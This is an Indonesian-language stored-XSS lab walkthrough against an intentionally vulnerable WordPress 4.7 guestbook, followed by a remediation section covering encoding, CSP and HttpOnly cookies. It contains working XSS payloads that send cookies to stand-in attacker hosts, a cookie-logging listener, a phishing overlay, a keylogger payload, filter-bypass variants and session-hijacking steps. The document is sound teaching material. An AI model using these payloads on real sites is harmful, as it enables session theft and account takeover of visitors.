Lab 03: Stored XSS (Cross-Site Scripting)
1. Overview
Stored XSS (juga disebut Persistent XSS) adalah jenis serangan Cross-Site Scripting di mana payload script disimpan permanen di server target, lalu dieksekusi di browser setiap pengguna yang mengakses halaman yang menampilkan data tersebut.
Bayangkan seperti ini: kamu menulis graffiti di buku tamu sebuah toko. Setiap orang yang datang dan membuka buku tamu tersebut akan melihat coretan kamu - termasuk pemilik toko dan semua pengunjung lainnya. Dalam konteks web, graffiti itu adalah script berbahaya, dan buku tamu adalah halaman web yang menampilkan input tanpa sanitasi.
| Aspek | Deskripsi |
|---|---|
| Dampak | Tinggi - script berjalan di browser setiap pengunjung |
| Jangkauan | Semua user yang mengakses halaman yang terinfeksi |
| Deteksi | Sedang - perlu mengamati perilaku halaman |
| Pencegahan | Lebih mudah dibanding DOM-based XSS (validasi server-side) |
2. Target Information
| Field | Detail |
|---|---|
| Target URL | http://wps.vuln.cybersecurity.or.id |
| Level | Beginner |
| Kategori | Cross-Site Scripting (XSS) |
| WSTG Reference | WSTG-INPV-01 - Reflected/Stored/DOM XSS Testing |
| OWASP Top 10 | A03:2021 - Injection |
| CWE | CWE-79 - Improper Neutralization of Input During Web Page Generation |
| CAPEC | CAPEC-86 - Cross-Site Scripting (XSS) via User Input |
| Teknologi | WordPress 4.7, PHP, MySQL |
| Plugin Rentan | Guestbook Plugin (menyimpan input tanpa sanitasi) |
3. Vulnerability Background
3.1. Apa Itu Stored XSS?
Stored XSS terjadi ketika aplikasi web menerima input dari user, menyimpannya di database, lalu menampilkannya kembali ke halaman web tanpa melakukan HTML encoding atau sanitasi.
flowchart LR
A[Attacker] -->|Mengirim payload XSS| B[Form Guestbook]
B -->|Menyimpan ke| C[(Database)]
C -->|Menampilkan ke| D[Pengunjung Lain]
D -->|Browser mengeksekusi script| E[Payload Berjalan]
3.2. Mengapa Ini Terjadi?
WordPress 4.7 dengan plugin guestbook buatan sendiri (custom plugin) sering kali tidak menerapkan praktik keamanan dasar:
- Input tidak divalidasi - script tag diterima begitu saja
- Output tidak di-encode - data langsung dirender sebagai HTML
- Tidak ada Content-Security-Policy - browser tidak dilarang mengeksekusi inline script
3.3. Dampak Potensial
- Pencurian Cookie Session -
<script>document.location='http://attaker.com/steal.php?c='+document.cookie</script> - Keylogger - merekam setiap ketikan user di halaman tersebut
- Phishing - menampilkan form palsu untuk mencuri kredensial
- Defacement - mengubah tampilan halaman untuk semua pengunjung
- Malware Distribution - mengarahkan pengunjung ke situs berbahaya
- CSRF Token Theft - mencuri token untuk melakukan aksi tanpa izin
4. Reconnaissance
Tahap pertama adalah mengenali target dan menemukan titik masuk (entry point) untuk serangan.
4.1. Akses Halaman Utama
curl -s http://wps.vuln.cybersecurity.or.id/ | head -50
Expected Output:
<!DOCTYPE html>
<html lang="en-US">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>wps.vuln.cybersecurity.or.id</title>
...
</head>
<body>
...
</body>
</html>
4.2. Identifikasi WordPress
curl -s http://wps.vuln.cybersecurity.or.id/ | grep -i "wordpress\|wp-content\|wp-json"
Expected Output:
<link rel='stylesheet' id='wp-block-library-css' href='http://wps.vuln.cybersecurity.or.id/wp-includes/css/dist/block-library/style.min.css?ver=4.7' type='text/css' media='all' />
<script type='text/javascript' src='http://wps.vuln.cybersecurity.or.id/wp-includes/js/jquery/jquery.js?ver=1.12.4'></script>
[SCREENSHOT-1] - Tampilan halaman utama WordPress 4.7
4.3. Cari Plugin Guestbook
Kita perlu mencari plugin guestbook. Beberapa cara:
# Cari menu guestbook di halaman utama
curl -s http://wps.vuln.cybersecurity.or.id/ | grep -i "guest\|buku tamu\|tamu\|gb\|guestbook"
# Coba akses langsung path guestbook
curl -s http://wps.vuln.cybersecurity.or.id/guestbook/
curl -s http://wps.vuln.cybersecurity.or.id/?page_id=guestbook
Expected Output:
<li><a href="http://wps.vuln.cybersecurity.or.id/guestbook/">Guestbook</a></li>
4.4. Inspeksi Halaman Guestbook
curl -s http://wps.vuln.cybersecurity.or.id/guestbook/
Expected Output:
<!DOCTYPE html>
<html>
...
<h2>Guestbook</h2>
<form method="POST" action="http://wps.vuln.cybersecurity.or.id/guestbook/">
<label>Name:</label>
<input type="text" name="name" required>
<br>
<label>Message:</label>
<textarea name="message" required></textarea>
<br>
<input type="submit" value="Sign Guestbook">
</form>
<hr>
<h3>Messages</h3>
<div class="entry">
<strong>John:</strong>
<p>Great site!</p>
</div>
...
[SCREENSHOT-2] - Halaman Guestbook dengan form input dan daftar pesan
4.5. Analisis Parameter Form
Dari hasil inspeksi, kita temukan:
| Parameter | Tipe | Deskripsi |
|---|---|---|
name |
Text input | Nama pengunjung |
message |
Textarea | Isi pesan |
Kedua parameter ini dikirim via POST ke endpoint
yang sama (/guestbook/). Data yang dikirim akan
disimpan ke database dan ditampilkan di halaman guestbook.
5. Testing - Validasi Kerentanan
Sebelum eksploitasi penuh, kita perlu memvalidasi bahwa input benar-benar tidak difilter.
5.1. Uji Coba Input Normal
curl -s -X POST http://wps.vuln.cybersecurity.or.id/guestbook/ \
-d "name=TestUser&message=Halo%20dari%20curl"
Expected Output: (redirect ke halaman guestbook, pesan muncul)
TestUser: Halo dari curl
5.2. Uji Coba Input dengan HTML Tag
curl -s -X POST http://wps.vuln.cybersecurity.or.id/guestbook/ \
-d "name=<b>BoldName</b>&message=<i>ItalicMessage</i>"
Expected Output:
<strong><b>BoldName</b>:</strong>
<p><i>ItalicMessage</i></p>
Jika tag HTML seperti <b> dan
<i> muncul tanpa di-encode (ditampilkan sebagai
HTML mentah), maka halaman tersebut rentan terhadap
XSS.
5.3. Verifikasi dengan Script Tag Sederhana
curl -s -X POST http://wps.vuln.cybersecurity.or.id/guestbook/ \
-d "name=<script>alert('XSS')</script>&message=Test"
Kemudian akses halaman guestbook:
curl -s http://wps.vuln.cybersecurity.or.id/guestbook/ | grep -i "script"
Expected Output:
<strong><script>alert('XSS')</script>:</strong>
Perhatikan bahwa tag <script> muncul tanpa
di-encode - ini adalah konfirmasi kerentanan
Stored XSS.
6. Exploitation - Finding 1: Stored XSS Detection
6.1. Informasi Temuan
| Field | Detail |
|---|---|
| ID Temuan | FINDING-001 |
| Nama | Stored XSS Detection via
alert('XSS') |
| Severity | 🔴 High |
| CVSS 3.1 | 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |
| Endpoint | POST /guestbook/ →
GET /guestbook/ |
| Parameter | name |
| Payload | <script>alert('XSS')</script>
|
| Teknik | Stored XSS - input disimpan dan dieksekusi di browser |
| WSTG | WSTG-INPV-01 |
6.2. Langkah Eksploitasi
Step 1: Kirim payload XSS melalui parameter
name:
curl -s -X POST http://wps.vuln.cybersecurity.or.id/guestbook/ \
-d "name=<script>alert('XSS')</script>&message=Test+Alert"
Expected Output: (HTTP 302 Redirect ke
/guestbook/)
<!DOCTYPE html>
<!-- Redirecting... -->
Step 2: Verifikasi bahwa payload tersimpan:
curl -s http://wps.vuln.cybersecurity.or.id/guestbook/ | grep -oP "(?<=<strong>).*?(?=</strong>)"
Expected Output:
<script>alert('XSS')</script>
6.3. Bukti (Evidence)
[SCREENSHOT-3] - Payload
<script>alert('XSS')</script>
berhasil dikirim via curl POST
[SCREENSHOT-4] - Halaman guestbook menampilkan script tanpa encoding (view source)
[SCREENSHOT-5] - Alert box muncul saat halaman guestbook dibuka di browser
# Simpan halaman guestbook sebagai bukti
curl -s http://wps.vuln.cybersecurity.or.id/guestbook/ > /tmp/guestbook_xss.html
# Cek apakah script tag muncul
grep -c "<script>alert" /tmp/guestbook_xss.html
Expected Output:
1
7. Exploitation - Finding 2: Stored XSS Cookie Theft
7.1. Informasi Temuan
| Field | Detail |
|---|---|
| ID Temuan | FINDING-002 |
| Nama | Stored XSS Cookie Theft via document.cookie
|
| Severity | 🔴 Critical |
| CVSS 3.1 | 8.2 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N) |
| Endpoint | POST /guestbook/ →
GET /guestbook/ |
| Parameter | message |
| Payload | <script>fetch('http://attacker.lab/track?c='+document.cookie)</script>
|
| Dampak | Pencurian session cookie admin |
| WSTG | WSTG-INPV-01 |
7.2. Persiapan Listener (Server Attacker)
Kita perlu menyiapkan server untuk menerima cookie yang dicuri. Bisa menggunakan:
Opsi A - Netcat Listener:
# Di terminal terpisah, jalankan listener
nc -lvnp 8080
Opsi B - Python HTTP Server:
# Buat script sederhana untuk log request
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
with open('/tmp/stolen_cookies.log', 'a') as f:
f.write(f'{self.path}\n')
self.send_response(200)
self.end_headers()
self.wfile.write(b'OK')
HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()
"
[SCREENSHOT-6] - Listener Python berjalan di port 8080
7.3. Injeksi Payload Cookie Theft
curl -s -X POST http://wps.vuln.cybersecurity.or.id/guestbook/ \
-d "name=Attacker&message=<script>fetch('http://attacker.lab:8080/steal?c='+document.cookie)</script>"
Expected Output: (HTTP 302, payload tersimpan)
7.4. Alternatif Payload (tanpa server eksternal)
Jika tidak memiliki server sendiri, kita bisa menggunakan request catcher seperti webhook.site atau requestbin:
curl -s -X POST http://wps.vuln.cybersecurity.or.id/guestbook/ \
-d "name=Attacker&message=<script>new Image().src='https://WEBHOOK_URL/track?c='+document.cookie</script>"
Atau menggunakan payload yang mengarahkan browser ke halaman lain:
curl -s -X POST http://wps.vuln.cybersecurity.or.id/guestbook/ \
-d "name=Attacker&message=<script>document.location='http://attacker.lab:8080/steal?c='+document.cookie</script>"
7.5. Verifikasi Cookie Tertangkap
Jika ada admin atau user lain yang membuka halaman guestbook, cookie mereka akan terkirim ke server attacker:
# Lihat log cookie yang tertangkap
cat /tmp/stolen_cookies.log
Expected Output:
/steal?c=wordpress_logged_in_365a5c9c5e09d9d0f45b9a78bb2ec0a8=admin%7C1712345678%7Cabc123...;%20wordpress_sec_365a5c9c5e09d9d0f45b9a78bb2ec0a8=...
[SCREENSHOT-7] - Cookie session berhasil tertangkap di listener
7.6. Analisis Cookie yang Tertangkap
| Cookie | Kegunaan | HttpOnly? |
|---|---|---|
wordpress_logged_in_* |
Session login WordPress | ❌ Tidak (dapat diakses JavaScript) |
wordpress_sec_* |
Session secure WordPress | ❌ Tidak |
PHPSESSID |
Session PHP umum | ❌ Tidak |
Catatan Penting: Cookie WordPress versi 4.7 secara default tidak memiliki flag
HttpOnlypada semua cookie, sehingga dapat diakses via JavaScript (document.cookie).
8. Eksploitasi Lanjutan - Session Hijacking
Setelah mendapatkan session cookie, attacker dapat membajak session admin:
8.1. Gunakan Cookie di Browser
- Buka browser
- Buka Developer Tools (F12) → Application → Cookies
- Tambahkan cookie
wordpress_logged_in_*dengan nilai yang tertangkap - Refresh halaman → sekarang kamu login sebagai admin
8.2. Gunakan Cookie via curl
curl -s http://wps.vuln.cybersecurity.or.id/wp-admin/ \
-b "wordpress_logged_in_365a5c9c5e09d9d0f45b9a78bb2ec0a8=admin%7C1712345678%7Cabc123..." \
| grep -i "dashboard\|wp-admin"
[SCREENSHOT-8] - Dashboard WordPress admin berhasil diakses menggunakan cookie yang dicuri
9. Daftar Lengkap Payload XSS
Berikut adalah berbagai payload yang bisa dicoba untuk Stored XSS:
9.1. Payload Dasar
<!-- Alert popup (umum untuk POC) -->
<script>alert('XSS')</script>
<!-- Menggunakan event handler -->
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>
9.2. Payload Cookie Theft
<!-- Menggunakan fetch -->
<script>fetch('http://attacker.lab/?c='+document.cookie)</script>
<!-- Menggunakan Image object -->
<script>new Image().src='http://attacker.lab/?c='+document.cookie</script>
<!-- Redirect langsung -->
<script>document.location='http://attacker.lab/?c='+document.cookie</script>
<!-- XMLHttpRequest -->
<script>
var x=new XMLHttpRequest();
x.open('GET','http://attacker.lab/?c='+document.cookie);
x.send();
</script>
9.3. Payload Phishing
<!-- Form login palsu -->
<script>
document.body.innerHTML='<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999"><h2>Session Expired</h2><form action="http://attacker.lab/steal" method="POST"><input type="text" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" value="Login"></form></div>';
</script>
9.4. Payload Keylogger
<script>
document.onkeypress=function(e){
fetch('http://attacker.lab/k?k='+e.key);
};
</script>
9.5. Payload dengan WAF Bypass
<!-- Case variation -->
<Script>alert('XSS')</Script>
<!-- Hex encoding -->
<script>alert('\x58\x53\x53')</script>
<!-- Tab/newline injection -->
<scr ipt>alert('XSS')</scr ipt>
<!-- Without parentheses -->
<script>alert`XSS`</script>
<!-- Polyglot -->
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert('XSS') )//%0D%0A%0D%0A
10. Remediation
10.1. HTML Entity Encoding (Paling Penting)
Semua input user harus di-encode sebelum ditampilkan ke halaman HTML.
PHP (Cara Aman):
// Menyimpan input
$name = $_POST['name'];
$message = $_POST['message'];
// ✅ Aman: HTML entity encoding sebelum disimpan
$safe_name = htmlspecialchars($name, ENT_QUOTES, 'UTF-8');
$safe_message = htmlspecialchars($message, ENT_QUOTES, 'UTF-8');
// Simpan $safe_name dan $safe_message ke database
Perbandingan Output:
| Input | Tanpa Encoding | Dengan Encoding |
|---|---|---|
<script>alert('XSS')</script>
|
<script>alert('XSS')</script>
(dieksekusi) |
<script>alert('XSS')</script>
(teks biasa) |
<b>bold</b> |
bold (bold) | <b>bold</b>
(teks biasa) |
10.2. Input Validation (Lapisan Kedua)
// ✅ Validasi input - hanya izinkan karakter yang aman
if (!preg_match('/^[a-zA-Z0-9\s\.\,\!\?]+$/', $name)) {
die("Invalid name format");
}
if (strlen($message) > 500) {
die("Message too long");
}
10.3. Content-Security-Policy (CSP) Header
CSP membatasi resource apa yang boleh dieksekusi di browser:
# .htaccess atau konfigurasi Apache
Header set Content-Security-Policy "default-src 'self'; script-src 'self';"
# Konfigurasi Nginx
add_header Content-Security-Policy "default-src 'self'; script-src 'self';";
Apa yang dicegah CSP:
- Inline script
(
<script>alert('XSS')</script>) → ❌ Diblokir - Inline event handler (
onerror=alert(1)) → ❌ Diblokir javascript:URLs → ❌ Diblokir- Fetch ke domain lain → ❌ Diblokir (kecuali diizinkan)
10.4. HttpOnly & Secure Cookie Flags
// ✅ Set cookie dengan HttpOnly dan Secure
setcookie(
'wordpress_logged_in_...',
$value,
[
'expires' => time() + 3600,
'path' => '/',
'domain' => '.wps.vuln.cybersecurity.or.id',
'secure' => true,
'httponly' => true, // ❗ Tidak bisa diakses JavaScript
'samesite' => 'Strict' // ❗ Tidak dikirim ke domain lain
]
);
10.5. WordPress-Specific Fixes
Untuk WordPress 4.7, beberapa langkah tambahan:
// Tambahkan ke functions.php tema aktif
// 1. Filter output untuk menambahkan encoding
add_filter('the_content', 'esc_html');
add_filter('comment_text', 'esc_html');
// 2. Nonaktifkan unfiltered HTML untuk semua role
define('DISALLOW_UNFILTERED_HTML', true);
// 3. Force HttpOnly pada cookie login
add_filter('secure_auth_cookie', function($cookie) {
return $cookie . '; HttpOnly; SameSite=Strict';
});
10.6. Checklist Remediation
| No | Item | Status |
|---|---|---|
| 1 | HTML entity encoding pada semua output
(htmlspecialchars) |
✅ |
| 2 | Validasi input (hanya karakter yang diizinkan) | ✅ |
| 3 | Content-Security-Policy header | ✅ |
| 4 | HttpOnly flag pada session cookie | ✅ |
| 5 | SameSite cookie attribute | ✅ |
| 6 | Update WordPress ke versi terbaru | ✅ |
| 7 | Gunakan plugin security (Wordfence, Sucuri) | ✅ |
| 8 | Regular security audit & penetration test | ✅ |
11. Tools & Referensi
11.1. Tools yang Digunakan
| Tool | Fungsi |
|---|---|
curl |
Mengirim HTTP request |
nc (netcat) |
Listener untuk menerima cookie |
python3 |
HTTP server untuk logging cookie |
| Browser (Chrome/Firefox) | Verifikasi visual dan session hijacking |
11.2. Referensi
| Referensi | URL |
|---|---|
| OWASP XSS | https://owasp.org/www-community/attacks/xss/ |
| OWASP XSS Filter Evasion | https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html |
| CWE-79 | https://cwe.mitre.org/data/definitions/79.html |
| CAPEC-86 | https://capec.mitre.org/data/definitions/86.html |
| WSTG-INPV-01 | https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting.html |
| WordPress Hardening | https://wordpress.org/support/article/hardening-wordpress/ |
| CSP Reference | https://content-security-policy.com/ |
| HTML Purifier (PHP) | https://github.com/ezyang/htmlpurifier |
12. Ringkasan
Stored XSS adalah salah satu kerentanan web paling berbahaya karena payload menginfeksi server dan menyebar ke setiap pengunjung. Dalam lab ini, kita berhasil:
12.1. Apa yang Dipelajari
- ✅ Mengidentifikasi plugin guestbook sebagai entry point
- ✅ Memvalidasi kerentanan dengan input HTML sederhana
- ✅ Mengeksploitasi Stored XSS dengan
alert('XSS') - ✅ Mencuri cookie session via
document.cookie - ✅ Memahami dampak session hijacking
- ✅ Menerapkan remediasi - encoding, CSP, HttpOnly
12.2. Timeline Serangan
| Langkah | Aksi | Hasil |
|---|---|---|
| 1 | Reconnaissance | Menemukan plugin guestbook di WordPress 4.7 |
| 2 | Testing | Validasi input name tidak di-encode |
| 3 | Finding 1 | Stored XSS Detection - alert('XSS') |
| 4 | Finding 2 | Cookie Theft - document.cookie via fetch |
| 5 | Session Hijacking | Mengakses wp-admin dengan cookie curian |
12.3. Key Takeaways
- Stored XSS lebih berbahaya dari Reflected XSS karena bersifat permanen
- HTML entity encoding adalah pertahanan utama - selalu encode output
- CSP memberikan lapisan keamanan tambahan di sisi browser
- HttpOnly cookie mencegah JavaScript mengakses session cookie
- Validasi input adalah lapisan pertama, encoding output adalah lapisan terakhir
- WordPress 4.7 sudah End of Life - selalu gunakan versi terbaru
13. Latihan Mandiri
Coba eksplorasi lebih lanjut:
- Payload lain: Coba gunakan
<img src=x onerror=alert('XSS')>- apakah berhasil? - Field message: Apakah field
messagejuga rentan terhadap XSS? - WAF Bypass: Jika ada filter sederhana, bagaimana cara bypass-nya?
- CSRF + XSS: Bisakah kita menggabungkan XSS dengan CSRF untuk mengubah password admin?
- BeEF Framework: Coba integrasikan dengan BeEF (Browser Exploitation Framework) untuk kontrol penuh browser korban.
# Contoh: Coba field message dengan payload berbeda
curl -s -X POST http://wps.vuln.cybersecurity.or.id/guestbook/ \
-d "name=Test&message=<img src=x onerror=alert('XSS')>"
# Verifikasi
curl -s http://wps.vuln.cybersecurity.or.id/guestbook/ | grep -o "onerror"
14. Kesimpulan
Stored XSS pada guestbook WordPress 4.7 adalah contoh klasik Injection Attack yang seharusnya mudah dicegah. Kerentanan ini muncul karena pengabaian prinsip keamanan dasar:
- Never Trust User Input - semua input adalah berbahaya sampai terbukti aman
- Encode Output - konteks matters (HTML, JavaScript, CSS, URL each need different encoding)
- Defense in Depth - jangan andalkan satu lapisan keamanan
Dengan memahami cara kerja Stored XSS dan metode pencegahannya, kamu sudah mengambil langkah penting untuk menjadi web security professional yang lebih baik.
"Security is not a product, but a process." - Bruce Schneier
Lab ini disusun untuk tujuan edukasi keamanan siber. Eksploitasi tanpa izin pada sistem produksi adalah ilegal.